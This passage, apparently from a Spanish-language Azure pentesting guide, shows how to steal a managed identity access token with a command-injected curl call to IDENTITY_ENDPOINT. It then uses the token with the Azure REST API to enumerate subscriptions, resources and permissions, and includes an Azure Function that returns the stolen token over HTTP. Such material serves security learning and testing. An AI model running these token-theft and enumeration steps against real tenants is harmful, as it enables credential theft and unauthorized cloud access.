Obtén access_token de IDENTITY_HEADER y IDENTITY_ENDPOINT: system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');.
Luego consulta la Azure REST API para obtener el subscription ID y más.
$Token ='eyJ0eX..'$URI ='https://management.azure.com/subscriptions?api-version=2020-01-01'# $URI = 'https://graph.microsoft.com/v1.0/applications'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# List resources and check for runCommand privileges$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01'
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/<RG-NAME>/providers/Microsoft.Compute/virtualMachines/<RESOURCE/providers/Microsoft.Authorization/permissions?apiversion=2015-07-01'
Azure API via Python Version
import requests# Definir la URL de la API de Azureurl = "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{app-name}?api-version=2019-08-01"
# Definir el token de accesoaccess_token ="Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIn..."# Definir los encabezadosheaders ={"Authorization": access_token,"Content-Type":"application/json"}# Realizar la solicitud GETresponse = requests.get(url, headers=headers)# Imprimir la respuestaprint(response.json())
Azure API via PowerShell Version
# Definir la URL de la API de Azure$url = "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{app-name}?api-version=2019-08-01"
# Definir el token de acceso$access_token ="Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIn..."# Realizar la solicitud GET$response =Invoke-RestMethod-Uri $url -Headers @{Authorization = $access_token} -Method Get# Imprimir la respuesta$response |ConvertTo-Json
import logging, osimport azure.functions as funcdefmain(req: func.HttpRequest) -> func.HttpResponse:logging.info('Python HTTP trigger function processed a request.')IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']IDENTITY_HEADER = os.environ['IDENTITY_HEADER']cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
val = os.popen(cmd).read()return func.HttpResponse(val, status_code=200)
Lista de Servicios
Las páginas de esta sección están ordenadas por servicio de Azure. Allí podrás encontrar información sobre el servicio (cómo funciona y sus capacidades) y también cómo enumerar cada servicio.